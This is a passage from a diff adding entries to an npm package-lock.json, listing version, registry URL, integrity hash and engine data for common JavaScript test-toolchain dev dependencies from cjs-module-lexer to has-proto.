"sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "engines": { + "node": ">=8" + } + }, + "node_modules/cjs-module-lexer": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-1.2.3.tgz", + "integrity": "sha512-0TNiGstbQmCFwt4akjjBg5pLRTSyj/PkWQ1ZoO2zntmg9yLqSRxwEa4iCfQLGjqhiqBfOJa7W/E8wfGrTDmlZQ==", + "dev": true + }, + "node_modules/cliui": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", + "dev": true, + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.1", + "wrap-ansi": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/co": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", + "integrity": "sha512-QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ==", + "dev": true, + "engines": { + "iojs": ">= 1.0.0", + "node": ">= 0.12.0" + } + }, + "node_modules/collect-v8-coverage": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.2.tgz", + "integrity": "sha512-lHl4d5/ONEbLlJvaJNtsF/Lz+WvB07u2ycqTYbdrq7UypDXailES4valYb2eWiJFxZlVmpGekfqoxQhzyFdT4Q==", + "dev": true + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "dev": true, + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true + }, + "node_modules/convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", + "dev": true + }, + "node_modules/core-js-compat": { + "version": "3.35.0", + "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.35.0.tgz", + "integrity": "sha512-5blwFAddknKeNgsjBzilkdQ0+YK8L1PfqPYq40NOYMYFSS38qj+hpTcLLWwpIwA2A5bje/x5jmVn2tzUMg9IVw==", + "dev": true, + "dependencies": { + "browserslist": "^4.22.2" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/create-jest": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/create-jest/-/create-jest-29.7.0.tgz", + "integrity": "sha512-Adz2bdH0Vq3F53KEMJOoftQFutWCukm6J24wbPWRO4k1kMY7gS7ds/uoJkNuV8wDCtWWnuwGcJwpWcih+zEW1Q==", + "dev": true, + "dependencies": { + "@jest/types": "^29.6.3", + "chalk": "^4.0.0", + "exit": "^0.1.2", + "graceful-fs": "^4.2.9", + "jest-config": "^29.7.0", + "jest-util": "^29.7.0", + "prompts": "^2.0.1" + }, + "bin": { + "create-jest": "bin/create-jest.js" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", + "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "dev": true, + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/css.escape": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/css.escape/-/css.escape-1.5.1.tgz", + "integrity": "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg==", + "dev": true + }, + "node_modules/cssom": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.5.0.tgz", + "integrity": "sha512-iKuQcq+NdHqlAcwUY0o/HL69XQrUaQdMjmStJ8JFmUaiiQErlhrmuigkg/CU4E2J0IyUKUrMAgl36TvN67MqTw==", + "dev": true + }, + "node_modules/cssstyle": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-2.3.0.tgz", + "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==", + "dev": true, + "dependencies": { + "cssom": "~0.3.6" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cssstyle/node_modules/cssom": { + "version": "0.3.8", + "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz", + "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==", + "dev": true + }, + "node_modules/data-urls": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-3.0.2.tgz", + "integrity": "sha512-Jy/tj3ldjZJo63sVAvg6LHt2mHvl4V6AgRAmNDtLdm7faqtsx+aJG42rsyCo9JCoRVKwPFzKlIPx3DIibwSIaQ==", + "dev": true, + "dependencies": { + "abab": "^2.0.6", + "whatwg-mimetype": "^3.0.0", + "whatwg-url": "^11.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dev": true, + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decimal.js": { + "version": "10.4.3", + "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.4.3.tgz", + "integrity": "sha512-VBBaLc1MgL5XpzgIP7ny5Z6Nx3UrRkIViUkPUdtl9aya5amy3De1gsUUSB1g3+3sExYNjCAsAznmukyxCb1GRA==", + "dev": true + }, + "node_modules/dedent": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/dedent/-/dedent-1.5.1.tgz", + "integrity": "sha512-+LxW+KLWxu3HW3M2w2ympwtqPrqYRzU8fqi6Fhd18fBALe15blJPI/I4+UHveMVG6lJqB4JNd4UG0S5cnVHwIg==", + "dev": true, + "peerDependencies": { + "babel-plugin-macros": "^3.1.0" + }, + "peerDependenciesMeta": { + "babel-plugin-macros": { + "optional": true + } + } + }, + "node_modules/deep-equal": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/deep-equal/-/deep-equal-2.2.3.tgz", + "integrity": "sha512-ZIwpnevOurS8bpT4192sqAowWM76JDKSHYzMLty3BZGSswgq6pBaH3DhCSW5xVAZICZyKdOBPjwww5wfgT/6PA==", + "dev": true, + "dependencies": { + "array-buffer-byte-length": "^1.0.0", + "call-bind": "^1.0.5", + "es-get-iterator": "^1.1.3", + "get-intrinsic": "^1.2.2", + "is-arguments": "^1.1.1", + "is-array-buffer": "^3.0.2", + "is-date-object": "^1.0.5", + "is-regex": "^1.1.4", + "is-shared-array-buffer": "^1.0.2", + "isarray": "^2.0.5", + "object-is": "^1.1.5", + "object-keys": "^1.1.1", + "object.assign": "^4.1.4", + "regexp.prototype.flags": "^1.5.1", + "side-channel": "^1.0.4", + "which-boxed-primitive": "^1.0.2", + "which-collection": "^1.0.1", + "which-typed-array": "^1.1.13" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/deepmerge": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", + "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/define-data-property": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.1.tgz", + "integrity": "sha512-E7uGkTzkk1d0ByLeSc6ZsFS79Axg+m1P/VsgYsxHgiuc3tFSj+MjMIwe90FC4lOAZzNBdY7kkO2P2wKdsQ1vgQ==", + "dev": true, + "dependencies": { + "get-intrinsic": "^1.2.1", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/define-properties": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz", + "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==", + "dev": true, + "dependencies": { + "define-data-property": "^1.0.1", + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "dev": true, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/detect-newline": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz", + "integrity": "sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/diff-sequences": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-29.6.3.tgz", + "integrity": "sha512-EjePK1srD3P08o2j4f0ExnylqRs5B9tJjcp9t1krH2qRi8CCdsYfwe9JgSLurFBWwq4uOlipzfk5fHNvwFKr8Q==", + "dev": true, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/dom-accessibility-api": { + "version": "0.5.16", + "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.5.16.tgz", + "integrity": "sha512-X7BJ2yElsnOJ30pZF4uIIDfBEVgF4XEBxL9Bxhy6dnrm5hkzqmsWHGTiHqRiITNhMyFLyAiWndIJP7Z1NTteDg==", + "dev": true + }, + "node_modules/domexception": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/domexception/-/domexception-4.0.0.tgz", + "integrity": "sha512-A2is4PLG+eeSfoTMA95/s4pvAoSo2mKtiM5jlHkAVewmiO8ISFTFKZjH7UAM1Atli/OT/7JHOrJRJiMKUZKYBw==", + "deprecated": "Use your platform's native DOMException instead", + "dev": true, + "dependencies": { + "webidl-conversions": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/electron-to-chromium": { + "version": "1.4.634", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.634.tgz", + "integrity": "sha512-gQNahJfF5AE4MZo+pMSwmnwkzVZ+F4ZGGj4Z/MMddOXVQM0y9OHy6ts3W9SDzAJaiZM3p6eixn5ABCQ+AfXzcQ==", + "dev": true + }, + "node_modules/emittery": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.13.1.tgz", + "integrity": "sha512-DeWwawk6r5yR9jFgnDKYt4sLS0LmHJJi3ZOnb5/JdbYwj3nW+FxQnHIjhBKz8YLC7oRNPVM9NQ47I3CVx34eqQ==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sindresorhus/emittery?sponsor=1" + } + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true + }, + "node_modules/entities": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz", + "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", + "dev": true, + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/error-ex": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", + "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", + "dev": true, + "dependencies": { + "is-arrayish": "^0.2.1" + } + }, + "node_modules/es-get-iterator": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/es-get-iterator/-/es-get-iterator-1.1.3.tgz", + "integrity": "sha512-sPZmqHBe6JIiTfN5q2pEi//TwxmAFHwj/XEuYjTuse78i8KxaqMTTzxPoFKuzRpDpTJ+0NAbpfenkmH2rePtuw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.3", + "has-symbols": "^1.0.3", + "is-arguments": "^1.1.1", + "is-map": "^2.0.2", + "is-set": "^2.0.2", + "is-string": "^1.0.7", + "isarray": "^2.0.5", + "stop-iteration-iterator": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-string-regexp": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz", + "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/escodegen": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.1.0.tgz", + "integrity": "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==", + "dev": true, + "dependencies": { + "esprima": "^4.0.1", + "estraverse": "^5.2.0", + "esutils": "^2.0.2" + }, + "bin": { + "escodegen": "bin/escodegen.js", + "esgenerate": "bin/esgenerate.js" + }, + "engines": { + "node": ">=6.0" + }, + "optionalDependencies": { + "source-map": "~0.6.1" + } + }, + "node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true, + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/execa": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz", + "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", + "dev": true, + "dependencies": { + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.0", + "human-signals": "^2.1.0", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.1", + "onetime": "^5.1.2", + "signal-exit": "^3.0.3", + "strip-final-newline": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/exit": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/exit/-/exit-0.1.2.tgz", + "integrity": "sha512-Zk/eNKV2zbjpKzrsQ+n1G6poVbErQxJ0LBOJXaKZ1EViLzH+hrLu9cdXI4zw9dBQJslwBEpbQ2P1oS7nDxs6jQ==", + "dev": true, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/expect": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/expect/-/expect-29.7.0.tgz", + "integrity": "sha512-2Zks0hf1VLFYI1kbh0I5jP3KHHyCHpkfyHBzsSXRFgl/Bg9mWYfMW8oD+PdMPlEwy5HNsR9JutYy6pMeOh61nw==", + "dev": true, + "dependencies": { + "@jest/expect-utils": "^29.7.0", + "jest-get-type": "^29.6.3", + "jest-matcher-utils": "^29.7.0", + "jest-message-util": "^29.7.0", + "jest-util": "^29.7.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "dev": true + }, + "node_modules/fb-watchman": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.2.tgz", + "integrity": "sha512-p5161BqbuCaSnB8jIbzQHOlpgsPmK5rJVDfDKO91Axs5NC1uu3HRQm6wt9cd9/+GtQQIO53JdGXXoyDpTAsgYA==", + "dev": true, + "dependencies": { + "bser": "2.1.1" + } + }, + "node_modules/fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "dev": true, + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dev": true, + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/for-each": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.3.tgz", + "integrity": "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==", + "dev": true, + "dependencies": { + "is-callable": "^1.1.3" + } + }, + "node_modules/form-data": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz", + "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==", + "dev": true, + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/functions-have-names": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz", + "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true, + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.2.tgz", + "integrity": "sha512-0gSo4ml/0j98Y3lngkFEot/zhiCeWsbYIlZ+uZOVgzLyLaUw7wxUL+nCTP0XJvJg1AXulJRI3UJi8GsbDuxdGA==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.2", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3", + "hasown": "^2.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-package-type": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/get-package-type/-/get-package-type-0.1.0.tgz", + "integrity": "sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==", + "dev": true, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/get-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/globals": { + "version": "11.12.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", + "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/gopd": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.0.1.tgz", + "integrity": "sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==", + "dev": true, + "dependencies": { + "get-intrinsic": "^1.1.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "dev": true + }, + "node_modules/has-bigints": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.0.2.tgz", + "integrity": "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.1.tgz", + "integrity": "sha512-VsX8eaIewvas0xnvinAe9bw4WfIeODpGYikiWYLH+dma0Jw6KHYqWiWfhQlgOVK8D6PvjubK5Uc4P0iIhIcNVg==", + "dev": true, + "dependencies": { + "get-intrinsic": "^1.2.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.1.tgz", + "integrity": 